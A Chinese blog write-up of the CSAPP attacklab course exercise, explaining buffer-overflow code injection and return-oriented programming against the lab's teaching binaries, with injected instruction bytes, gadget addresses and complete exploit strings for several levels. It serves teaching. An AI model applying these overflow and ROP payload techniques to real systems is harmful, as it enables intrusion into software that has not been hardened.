CSAPP Lab:attacklab

2023-05-16

大小尾端

首先关于这个,我一直没记清楚,所以做个总结:
在裘宗燕翻译的《程序设计实践》里,这对术语并没有翻译为“大端”和小端,而是“高尾端”和“低尾端”,这就好理解了:如果把一个数看成一个字符串,比如11223344看成"11223344",末尾是个’\0’,'11’到’44’个占用一个存储单元,那么它的尾端很显然是44,前面的高还是低就表示尾端放在高地址还是低地址,它在内存中的放法非常直观,如下图:
在这里插入图片描述

实验梗概

Attack lab:要求你进行五次攻击。攻击方式是code injection代码注入和Reeturn-oriented programming(ROP),在你做完这个lab,你会收获:

你将知道当程序没有做缓冲区溢出安全时,黑客是如何攻击程序的。
你将知道编译器和操作系统是如何增强程序的健壮性。
你将明白怎么编写更安全的程序
你将明白x86-64构架下,程序是如何使用栈和参数传递。
你将学会GDB和OBJDUMP的用法。
文件列表:

文件用途
ctarget用来做Code injection攻击的程序
rtarget用来做ROP攻击的程序
cookie.txt作为攻击的标识符
hex2raw用来生成工具字符串

level1

第一题是要我们攻击一个叫test的方法,这个方法中有个getbuf方法,要求从getbuf返回时不让它返回到test,而是返回到touch方法。
我们可以发现getbuf是一个输入字符串的方法,那么我们只要将此方法开辟的栈给填满,然后再填上touch方法的地址,那么就能实现跳转到touch的效果了!
所以我们要做两步:
首先确定getbuf方法的缓冲区大小,反汇编gets方法查看:
在这里插入图片描述 -
得到此方法的缓冲区为40个字节。
其次我们看下touch方法的地址:
在这里插入图片描述
地址是4017c0,那么我们需要输入的字符串就得到了:
在这里插入图片描述
前面的40个字节都是假的,随意填,关键在于最后8位,填的时候需要注意按照小端的排列顺序
然后用hex2raw来生成字节码,成功入侵垃圾代码
在这里插入图片描述
参数 (ctarget和rtarget都有)
-q 不发送成绩
-i 从文件中输入
如果你没有使用-q,就会出现

FAILED: Initialization error: Running on an illegal host [localhost.localdomain]

在这里插入图片描述

level2

根据题目指示,这一题我们要做的同样是跳转,这次我们跳转的是touch2函数,看下touch2函数长什么样,发现这里需要我们传入一个参数,根据实验说明我们知道这个参数的位置在%rdi。所以我们需要注入一段自己的入侵代码了。

那么如何让程序去执行我们的代码呢?既然我们可以向栈中写入任意内容并且可以设置返回时跳转到的地址,那么我们就可以通过在栈中写入指令再令从getbuf函数返回的地址为我们栈中指令的首地址,在指令中执行ret进行第二次返回,返回到touch2函数,就可以实现我们的目的。

所以我决定将指令写入到栈地址的最低处,然后在溢出后将地址设置为这个栈地址。我们能完成这个攻击的前提是讲义中已经告诉我们这个具有漏洞的程序在运行时的栈地址是固定的,不会因运行多次而改变,并且这个程序允许执行栈中的代码。
1.写一段代码将参数(也就是每个人的cookie),放入寄存器%rip中,然后将touch2的地址压栈,为的是通过ret返回时可以跳转到ret。

2.然后通过第一题的方式如法炮制利用缓冲区溢出的漏洞将getbuf函数返回到上述的代码起始位置,也就是缓冲区的起始位置执行攻击代码。

我写的汇编,第一个立即数是我的cookie,第二个是touch2的地址:
在这里插入图片描述
利用gcc和objdump命令得到机器代码:
在这里插入图片描述
然后需要找到缓冲区的实际地址,我们需要gdb在getbuf打断点查看%rsp的值
在这里插入图片描述
这里用最新的rsp值即可再次入侵垃圾代码!
在这里插入图片描述
在这里插入图片描述

level3

该等级同样让我们跳转到touch3函数中,不过touch3函数判断有所不同:

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval) {
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

仔细阅读上面的代码,我们需要传入touch3的参数是一个字符串的首地址,这个地址指向的字符串需要与cookie的字符串表示相同。这里cookie的字符串表示是cookie:0x59b997fa的ASCII表示的字符串:35 39 62 39 39 37 66 61 00

所以我们需要做的是将这串字符串放入栈中,并且将rdi的值置为字符串的首地址,再进行与上步类似的二次返回操作。

这里我们需要好好考虑目标字符串在栈中的位置,下面是最终结果中的栈结构,先放出来便于讲解。
在这里插入图片描述
推出结果:

48 c7 c7 90 dc 61 55 48 # mov    $0x5561dc90,%rdi mov    $0x5561dc88,%rsp ret 为寄存器赋值并返回
c7 c4 88 dc 61 55 c3 00
fa 18 40 00 00 00 00 00 # touch3地址
35 39 62 39 39 37 66 61 # 目标字符串
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 # 注入指令首地址

结果如下
在这里插入图片描述

level4

我们在第二部分中需要解决的同样是第一部分的后两个问题,只不过我们要采取不同的方式来进行攻击。

为什么我们之前采取的代码注入的攻击手段无法在这个程序中起作用呢?这是国因为这个程序对代码注入攻击采取了两种防护方式:

栈随机化,使得程序每次运行时栈的地址都不相同,我们无法得知我们注入的攻击代码的地址,也无法在攻击代码中硬编码栈中的地址。
标记内存中的栈段为不可执行,这意味着注入在栈中的代码无法被程序执行。
尽管这两种手段有效地避免了代码注入攻击,但是我们仍然可以找到方式让程序执行我们想要去执行的指令。
首先,你要想清楚你要干什么。
第一,把%rdi设置为cookie
第二:执行touch2
转换成汇编代码即使:

movq $0x59b997fa,%rdi
pushq $0x4017ec
ret

这是,会发现难点,gadget不可能有movq $0x59b997fa,%rdi,pushq $0x4017ec。那我们只能曲线救国了。
把$0x59b997fa放在栈中,再popq %rdi.。代码有了,那我们就去寻找gadget!
在addval_219中
在这里插入图片描述

0x4019ab 58    #popq %rax
0x4019ac 90    #nop
0x4019ae c3    #ret

在这里插入图片描述

0x4019a2 48 89 c7     #movq %rax,%rdi 
0x4019a5 c3           #ret

在这里插入图片描述
在这里插入图片描述

level5

在这里插入图片描述

0x401a06 48 89 e0    #movq %rsp,%rax
0x401a09 c3          #ret
0x4019c5 48 89 c7     #movq %rax,%rdi
0x4019c8 90           #nop
0x4019c9 c3           #ret 
0x4019d8 04 37   #add 0x37.al
0x4019da c3      #ret   

在这里插入图片描述

// address is 0x401a06,execute a part of addval_190
movq %rsp,%rax
ret
//address is ox4019d8,execute a part of add_xy
add 0x37,%al
ret
//address is 0x4019c5,execute a part of addval_426
movq %rax,%rdi
ret

==>

00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
06 1a 40 00
00 00 00 00
d8 19 40 00
00 00 00 00
c5 19 40 00
00 00 00 00
fa 18 40 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 35
39 62 39 39
37 66 61 00

在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CSAPP Lab:attacklab 的相关文章

  • Ubuntu20.04云服务器安装配置Jupyter Lab

    前言 Jupyter Lab 是 Jupyter 主打的最新数据科学生产工具 xff0c 是基于Web的交互式开发环境 某种意义上 xff0c 它的出现是为了取代 Jupyter Notebook xff0c 但它也包含了 Jupyter
  • docker安装TensorFlow2.0 + jupyter lab。

    docker加虚拟机 xff0c 简直就是坑中埋雷 让我抱怨一下 我们开始进入主题 我的系统是ubuntu20 安装在虚拟机里 这个我就不再阐述过多了 大家都会 docker安装过程我也不多说了 xff0c 这个资料很多 那么我们直接进入主
  • Anaconda软件中的 Environments 及 Jupyter Lab使用方法介绍

    来源 xff1a 投稿 作者 xff1a 助教 Frank 编辑 xff1a 学姐 lt lt 打造舒适的AI环境 gt gt 系列总览 xff1a 分为硬件篇x1 跟 软件篇x3 硬件篇1 xff1a 主机八大件的选购 软件篇1 xff1
  • miniconda3 安装 Jupyter jupyter-lab

    miniconda3 安装 Jupyter jupyter lab date 2021 09 14lastmod 2023 1 10 jupyter 是个啥 xff1f 很久之前接触 python 机器学习的时候最早接触的是 jupyter
  • python安装jupyter lab和使用插件

    如果觉得本篇文章对您的学习起到帮助作用 xff0c 请 点赞 43 关注 43 评论 xff0c 留下您的足迹 x1f4aa x1f4aa x1f4aa 本篇文章为python安装jupyter lab和使用插件的所做笔记 xff0c 一是
  • csapp-01:从程序员的角度去了解计算机系统的工作原理

    写在开头 xff1a 本人非科班 xff0c 之前没读过 xff0c 只听说是本好书 xff0c 硬着头皮花了四天时间通读了一遍 xff0c 书上画得密密麻麻的 xff0c 尤其是在虚拟内存这一章到处写满注解 xff0c 只能说这本书的确不
  • CSAPP-数据表示与运算实验

    目录 一 实验目的 二 实验要求及注意事项 三 实验原理与内容 1 位操作 2 补码运算 3 浮点数操作 四 实验设备与软件环境 五 实验过程与结果 1 操作符及运算概览 1 位运算和逻辑运算 2 补码运算 3 浮点数 2 功能实现与结论
  • CSAPP阅读笔记——第二章:信息的表示和处理

    核心内容 编码原则 无符号 补码 浮点 溢出 无符号 补码 精度 浮点 一 信息存储 字节 存储最小单元 程序的内存管理是在虚拟地址层面上 字长 用于指明整数和指针数据的大小 编码虚拟地址 决定虚拟地址空间大小 数据大小 编码数字的格式 其
  • 磁盘存储原理

    最近学习linux内核源码 读到操作系统boot引导相关内容时 对于磁盘相关原理介绍引起我的兴趣 阅读相关资料后 对磁盘工作原理做一个总结 参考资料为深入理解计算机系统 CSAPP 磁盘是广泛应用的数据存储设备 存储容量比较大 相比RAM等
  • LeetCode146- LRU 缓存

    class LRUCache public struct Node int key val Node left right Node int key int val key key val val left NULL right NULL
  • 《CSAPP》(第3版)答案(第二章)(一)

    CSAPP 答案 第二章 一 P55 include
  • 程序是如何从编辑到执行的——我的初步理解

    目录 1 预处理 2 编译 3 汇编 3 1 机器码的格式 3 2 编码过程 4 链接 5 取指 6 译码 7 执行 8 访存 9 写回 10 更新PC 今天来谈谈 一句代码 是如何从被编辑到被执行的 以下为本人在阅读相关书籍资料后的初步理
  • CSAPP-BinaryBomb实验

    目录 一 实验目的与要求 二 实验原理与内容 三 实验过程与结果 1 程序编码 汇编 2 拆解过程 Phase 1 Phase 2 Phase 3 Phase 4 Phase 5 Phase 6 Secret phase 一 实验目的与要求
  • C/C++中的移位运算符——由二进制转换程序引发的思考

    以前学习移位运算符的时候并没有太多关注它 而此次关于移位运算符的探究 主要源于写的一个二进制显示的程序 include
  • CSPP 数据的机器级表示

    寄存器 intel x86 64 调用寄存器与被调用寄存器 因为要保证在调用函数返回后寄存器的值恢复为未被调用之前 所以下面的例子运用pushq指令保存被调用寄存器rbx的值 函数 gcc产生的指令指示操作数的大小 寄存器的作用 rax存储
  • CSAPP Lab4- PerfLab

    代码优化 typedef struct unsigned short red R value unsigned short green G value unsigned short blue B value pixel 图像用一维数组表示
  • 计算机系统课程 笔记总结 CSAPP第七章 链接(7.1-7.13)

    GitHub计算机系统CSAPP课程资源 计算机系统课程 笔记总结 CSAPP第二章 信息的表示和处理 2 1 2 2 计算机系统课程 笔记总结 CSAPP第二章 信息的表示和处理 2 3 2 4 计算机系统课程 笔记总结 CSAPP第三章
  • CSAPP学习记录-Course Overview

    这是我开始学习CSAPP的笔记的第一遍 在接下来的内容 我会分享自己在学习CSAPP时的笔记 感受等等 学习资料来自b站 声明 所有内容基于自己的理解 如有错误感谢大家指出 链接 https www bilibili com video B
  • CSAPP——2.2整数表示

    两种整数 1 非负数 unsigned 2 负数 0 正数 T 补码 B 二进制 U 无符号数 1 整数数据类型 unsigned char short int long int32 t int64 t 2 无符号数的编码 假设位向量 x
  • Hapi Lab 为什么所有测试都通过了却测试失败

    有谁知道 的含义吗 npm 错误 测试失败 请参阅上文了解更多详情 3 tests complete Test duration 873 ms The following leaks were detected lr npm ERR Tes

随机推荐

  • VIM简单配置step by step

    0 更新vim 更新和安装vim xff0c 保证版本 gt 61 8 0即可 可按照如下命令安装 0 1 安装依赖 yum update y yum install epel release y yum install y git gcc
  • 使用setInterval遇到的陷阱

    setInterval的使用 span class token keyword const span interval span class token operator 61 span span class token function
  • vs本地调试dll文件

    遇到一些问题 xff0c 需要调试dll文件进行调试 xff0c 环境配置如下 打开dll工程 1 鼠标右键dll项目 xff0c 属性 gt 配置属性 gt 调试 gt 命令 在命令中填写使用dll的 exe文件的路经 2 将新生成的dl
  • 对抗样本简介

    一 什么是对抗样本 对抗样本是一类被恶意设计来攻击机器学习模型的样本 它们与真实样本的区别几乎无法用肉眼分辨 xff0c 但是却会导致模型进行错误的判断 对抗样本的存在会使得深度学习在安全敏感性领域的应用收到威胁 如下图所示 xff0c 通
  • QT——QWidget窗体设置背景颜色、背景图、及其注意点

    QWidget窗体设置背景颜色 背景图 及其注意点 前言一 使用调色板QPalette来设置图片二 使用样式表QSS三 使用画笔Qpainter在paintEvent事件中绘制图片 前言 QT设置背景图笔录 一 使用调色板QPalette来
  • Navicat 连接Mysql 8.0以上版本报错1251的详细解决方案(配效果图)

    从MySql5 7版本跳到了Mysql 8 0的版本 xff0c 安装的时候提示链接加密方式已经改变 xff0c 是选择5 xff1f 时代的方式还是新的方式 xff0c 当时 全部选择默认 xff0c 所以选择的新的 加密方式 xff0c
  • 前端入门篇(一)常用五大浏览器及浏览器内核

    一 常见浏览器内核介绍 浏览器是网页运行的平台 xff0c 常见的浏览器有 IE 火狐 xff08 Firefox xff09 谷歌 xff08 Chrome xff09 Safari和Opera等 xff0c 我们平时称为五大浏览器 xf
  • 从输入URL到页面展示这中间发生了什么

    文章目录 从输入URL到页面展示这中间发生了什么Chrome多进程浏览器架构补充1 xff1a 进程和线程 整体的流程1 浏览器接收到输入的URL后 xff0c 先解析URL浏览器发送请求前 xff0c 尝试缓存命中 2 建立URL请求DN
  • 自动化标注技术

    自 动 化 标 注 技 术 自动化标注技术
  • 解决hadoop无法访问8088和19888端口的问题

    50070端口可以访问 xff0c 但是8088和19888端口不可以访问 xff0c 关防火墙 xff0c 看配置文件都是没有问题 xff0c 但就是不能web访问 看下图我的19888和8088前面都是127 0 0 1 xff0c 着
  • PyQt5有关QtWebEngineWidgets的解决办法

    from PyQt5 import QtWebKitWidgets ImportError DLL load failed 找不到指定的程序 这是因为PyQt5在5 6版本以后改用 QtWebEngineWidgets xff0c 所以之前
  • 在NER任务中CRF层的作用(例子)

    这里不过多阐述NER任务是啥了 xff0c 具体来看看他的作用 xff0c 并且举了一个例子 xff0c 让大家理解更加深刻 上图说明模型的输出是每个标签的分数 例如 xff0c 对于w0 模型的输出为1 5 B Person 0 9 I
  • 深度神经网络(DNN)通俗理解

    首先要明白俩个函数 xff0c 特别重要的俩个函数 线性的关系函数 激活函数 xff08 顾名思义是激活用的把得到的Z放入函数中 xff0c 来重新得到结果 xff09 中间的线相当于线性关系函数中的w 神经元相当于一个激活函数 xff0c
  • 爬虫写一个 “搜索引擎”,炒鸡简单。

    写搜索引擎前 xff0c 我们需要简答了解一下flask 这个轻量级的web的框架 xff0c 如果没有这个模块 只需要 pip install flask 即可 然后我们需要用html写一个最初的 搜索框 xff0c 并且命名这个文件为s
  • K-means聚类算法 伪代码 python3代码

    K means 算法及其代码 K means算法介绍K means 伪代码K means python 代码 K means算法介绍 链接 模式识别 聚类分析 K means 伪代码 计算两个点之间的欧式距离 span class toke
  • 模式识别—判别函数分类法(几何分类法)

    目录 统计模式识别之判别分析判别函数定义解释样例 判断函数正负值的确定确定判别函数的两个因素 线性判别函数一般形式性质两类情况多类情况 小结 广义线性判别函数目的 线性判别函数的几何性质模式空间与超平面概念讨论小结 权空间与权向量解概念线性
  • 【脚本】echo 输出赋值给变量

    链接 xff1a http zhidao baidu com link url 61 FMhso6Hf4eeRQN7p2qqzLOBAYPwh6yMJCWOvgmBFTDYWAEZ9ceuREtWhggxtcYG1iBhaJgqrcU7ad
  • 联邦学习 - 基础知识+白皮书+杨强教授讲座总结+同态加密+ 差分隐私

    联邦学习 兴起原因概念分类横向联邦学习纵向联邦学习联邦迁移学习 优势系统架构联邦学习与现有研究的区别联邦学习与差分隐私理论的区别联邦学习与分布式机器学习的区别联邦学习与联邦数据库的关系 联邦学习的最新发展及应用 xff08 2019第四届全
  • boomlab 实验 炸弹实验 系统级程序设计 CMU

    MENU boomlab还有30s到达实验1Step1 反汇编vim大法检查boom原因gdb调试出结果examinequit 实验二分析汇编语言ENDING 实验三答案 实验四func4 实验五实验六gdb调试 答案汇总ENDING问题解
  • CSAPP Lab:attacklab

    大小尾端 首先关于这个 xff0c 我一直没记清楚 xff0c 所以做个总结 xff1a 在裘宗燕翻译的 程序设计实践 里 xff0c 这对术语并没有翻译为 大端 和小端 xff0c 而是 高尾端 和 低尾端 xff0c 这就好理解了 xf